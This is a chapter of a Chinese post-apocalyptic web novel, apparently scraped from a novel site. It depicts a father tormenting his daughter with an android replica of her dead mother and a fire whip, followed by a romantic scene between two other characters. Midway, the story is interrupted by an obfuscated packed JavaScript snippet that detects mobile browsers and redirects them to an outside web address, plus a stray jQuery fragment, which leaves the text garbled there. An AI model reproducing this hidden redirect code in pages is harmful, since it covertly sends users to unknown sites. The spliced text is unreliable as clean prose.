46. 第 46 章

作品:《人类重启计划[末世]

    红酒浓烈的醇香溢满鼻尖,宋安娜被头顶刺目的吊灯晃醒,紧接着就是漫无边际的痛。


    她的身体轻微颤动,指尖扣进身下湿漉漉的地毯,抬手抹干眼角不知何时溢出眼眶的泪水。


    “醒了?”宋怀谦抬手示意身边的人将文件撤离,垂眸看着宋安娜神情冷漠。


    宋安娜视线偏离,看着站在宋怀谦身旁的人目光怔愣,接着像一只被触怒的小兽愤恨地望着对面血缘上的父亲。


    “宋怀谦,你竟敢把她变成这幅不人不鬼的样子!”


    宋怀谦好心情地拉过身旁女人细软的手,放在唇边轻轻一吻,斜眼看向宋安娜,似乎在欣赏她这幅怒极而又狼狈不堪的神情。


    “我为什么不敢?女儿,究竟是先违反约定的,需要我提醒你吗?”宋怀谦拍了拍女人的肩膀,示意对方站到宋安娜身边,“你们母女俩长得真像啊,我记得你小时候总吵着想妈妈,现在她就站在你身边,你怎么不看呢?”


    “快看看呀,我保证她和你母亲一模一样,呼吸、温度、甚至胸腔里那颗跳动的心脏都一模一样。”宋怀谦道,“乖女儿,抱抱妈妈吧,你爱她呀,就像她爱你——”


    “闭嘴!”宋安娜扑到桌前,拽住宋怀谦的衣领呼吸急促,“你这个恶魔,不准你提起她。”


    宋怀谦也不挣扎,怜悯地看着宋安娜:“我亲爱的女儿,你忘记了吗?她原本是可以活下来的,是为什么才会发生那件意外呢?”


    “啊,我想起来了,好像是有个小朋友不听话,偷溜出来看见了不该看见的。”宋怀谦推开宋安娜的手,三言两语就敲定了她的死罪,“安娜啊,你活着是为了赎罪的,别做无谓的挣扎了。”


    宋怀谦突然发狠,拽着宋安娜的下巴将人贴近站在一旁面无表情的女人。


    “看!给我仔细看!她像不像你记忆里的样子?记得吗?她死的那天也是这幅装扮。”


    宋安娜闭着眼睛痛苦地挣扎。


    宋怀谦死死禁锢住不让她逃脱,压在她耳边继续攻破她的心防:“我们说好的,等爸爸事情忙完就带着你们母女去野餐,你母亲连餐食都准备好了,爸爸看了,有你最爱吃的炸虾,原本我们会有一个美好的周末的,是你的任性毁了这一切,你毁了我们原本幸福的家!”


    “不!不是我!”


    宋安娜情绪濒临崩溃,她拼尽全力推开宋怀谦,身体脱力跌坐在女人脚尖,仿佛被针扎,连滚带爬躲到书桌前抱着脑袋蜷缩起身子,细细颤抖。


    “不是我,不是我!妈妈……”


    宋怀谦拍拍袖口,发生手上沾染的血迹拍不干净后蹙起眉头,细微的情绪被女人捕捉到,立刻就要上前帮忙清洁,被他拦下。


    宋安娜缩在一旁,目睹着这刺眼的画面,眸底的恨意几乎要冲破眼眶,被她硬生生忍耐下来。


    她装作被愤怒冲昏头脑,手脚并用爬到女人脚边,拉住女人的裙摆:“妈妈,你看看我,你看我!”


    女人依旧无动于衷,神情专注地为宋怀谦处理手上的血迹,只在宋安娜即将要将她的衣裙拽落时垂头看了她一眼。


    “放开。”熟悉的声音说出全然陌生的冷漠语气,尽管知道这是假的,宋安娜的心还是不可避免被刺痛。


    宋怀谦没错过这一抹细微的情绪,拍了拍女人的后背,劝道:“娴娴,不要对女儿这么凶嘛,快去,把女儿扶起来,地上多脏啊。”


    女人停顿了一会,仿生眼眸闪了闪,像是接入了什么记忆,紧接着态度瞬间柔软起来,立刻将地上的宋安娜抱进怀里嘘寒问暖。


    宋安娜再次投入母亲的怀抱,闻着记忆里熟悉的发香,这次不用刻意去演,眼泪瞬间涌出。


    “妈妈,我好想你,娜娜真的好想你。”


    女人先是一愣,动作生硬地安慰了宋安娜一下,而后的动作就变得流畅自然起来,好像她不是继承了路娴记忆的仿生人,而是路娴本身。


    宋怀谦的耐心在看见路娴落泪时彻底告罄,他一把攥住宋安娜的手腕将人从路娴的怀抱中扯出来。


    “现在告诉我你在店里看到了谁,知道了些什么,少一个字,你的惩罚就由她来承受。”


    “您真是一如既往的卑鄙。”宋安娜扯了扯唇角。


    宋怀谦反手就扇了路娴一巴掌,直将人扇倒在地。


    他是火系异能者,手上的火鞭甩在地上燎起一串火苗。


    在火鞭即将舔舐上路娴雪白的肌肤前,宋安娜还是妥协了:“我看见了一个有着苍青色眼眸的女人,那些污染体喊她妈咪……”


    三个小时后,宋怀谦转着手腕从火光弥漫的书房走出,门开的刹那,里面痛苦的嘶吼声再也关押不住。


    “一刻钟后进去,把小姐带进治疗舱,用最低档,慢慢修复,别太快,好得快就更记不住痛了。”


    管家低眉颔首,恭敬道:“是。”


    宋怀谦走了两步突然停下,问:“文叔,您来这几年了?”


    管家保持躬身的动作不变,语调沉稳:“从您继任开拓组组长那时起,到今天已有十五年了。”


    “十五年啊。”宋怀谦意味不明地重复了遍,拖长强调说,“真是辛苦您了,明天放一天假,回去看看家人吧。”


    “老爷,我已经没有家人了。”


    “孤身寡人啊。”宋怀谦眼神晦暗了一瞬,又很快溢满笑意,“那算了,晚上我有事不回来,别忘了我叮嘱的事。”


    “您放心。”


    宋怀谦走后,管家看了眼身后,门缝中火光一点点蔓延,夹着着几不可闻的呼吸声。


    他推开门往里看了眼。


    宋安娜被捆在椅子上,仿生人紧紧地抱着她,身体被烧的焦黑。


    火舌不长眼,时不时会舔到宋安娜面前,每到这个时候,那个仿生人就会竭力弓起身子让火焰远离她。


    可是宋安娜在哭,她不敢动。


    宋怀谦给路娴下达了指令,她不能离开座椅范围,如果她挣扎,路娴会死死往后撤,直至超过范围被体内的芯片电击。


    谁能来救救她,是谁都好,救救她们。


    管家看着手上跃动的钟表,直至分针指向9,才迈开脚步走进去。


    嘎吱一声,书房的门再次合拢,火光一点点消散。


    外城。


    程瑆坐在窗台,远方残阳鲜红,逐渐逐渐没入地平线以下。


    身后传来脚步,不用回头她也知道来的人是谁。


    江知宥把摘下的手套随意地搭在一旁,从后将程瑆拢进怀中。


    他很用力,手臂上青筋暴起。


    程瑆感受到肩上传来的痛意,眉头微蹙但没有挣扎,伸手覆上拥住自己的人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580117|166183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “怎么了?”


    江知宥嗓音嘶哑,竭力压抑着内心的愤怒:“为什么不告诉我?”


    语意不详,没头没脑的一句问话。


    程瑆愣了一下,心跳节奏没有丝毫变动,挣开这人的手扭身将人压在身下。


    “生气了?”


    江知宥皱眉:“不要混淆视听。”


    程瑆乐了:“哇,江队自己定力不足就赖在别人身上哦,那你放开我,让我起来。”


    话音刚落,她就感到腰上的手揽得更紧了,笑了下,索性就这这个女高男低的姿势,跨坐在江知宥身上居高临下抵着人额头说话。


    “我不是故意要瞒着你,但我不想骗你,知宥,我要做的事违背你的信仰,和小葵她们也不同,这是一条看不见光亮的道路,它几乎都没有成功的可能。”


    江知宥要开口被程瑆伸手捂住,“不许动,不许说,先听我说。”


    江知宥于是老实不动了,狭长漆黑的眼眸紧紧盯着程瑆,眼里是让程瑆抵抗不住的深情。


    真是犯规。


    从诈死那天后,江知宥像是彻底解放了什么,也不再端着冷着,把那些不见天日的占有欲直白地展现在程瑆面前,还不容许她退缩。


    程瑆觉得自己可能做了个错误的决定,但她望着手下的人,感受着右手指尖的心跳,心脏像是被浸入暖烘烘的温泉中。


    先是舒服而后才是酸胀。


    程瑆整理好思绪,才继续开口:“小葵是不是告诉了你上辈子的结局?你是不是以为把宋怀谦拉下台就能改变这一切?”


    “不是的。”程瑆说,“你记得我们小时候呆过的那间实验室吗?那个策划人是我的养父,‘达尔文计划’从没有停止,人造人、觉醒者、珊珊她们,这一切的发生都说明他还没死。”


    江知宥拉下程瑆的左手,握在掌心:“你想做什么?程瑆,告诉我,你想做什么?”


    程瑆对上江知宥的眼睛,问了一句无关紧要的问题:“你恨污染体吗?”


    江知宥沉默了。


    程瑆笑了下,从江知宥的沉默中得到了问题的答案。


    这个世界上没有人会不恨污染体,被污染体伤害过至亲之人性命的更是。


    她差点都要忘了,江知宥的母亲之所以会死,也是因为污染体。


    往远了说,江知宥之所以会有那样悲惨的童年也和污染体脱不开干系。


    怎么能不恨呢?


    感受到程瑆的抽离,江知宥攥紧她的手:“为什么这么问?”


    程瑆别开视线:“没什么,想到了随口一问。”


    “说实话。”


    “就是实话啊。”程瑆撑着江知宥的肩头准备起身,发现腰身被握得紧紧的,无奈和江知宥对望,“他们都说我被感染了,你就不担心他们说的是真的吗?如果我真的是污染体呢?”


    “你不是。”江知宥抱住程瑆,将头埋进她的肩头,“程瑆你不是污染体,就算是,你也和它们不同。”


    程瑆张了张嘴,最后还是没说什么,摸了摸怀里人的脑袋。


    “程瑆我没有信仰,只有你,你才是我的信仰。”江知宥停顿了下,抬起头认真道,“如果你是污染体,别放过我,程瑆,别放过我,感染我,让我成为你的畸变物。”


    程瑆呼吸顿了下,哑着声:“…好。”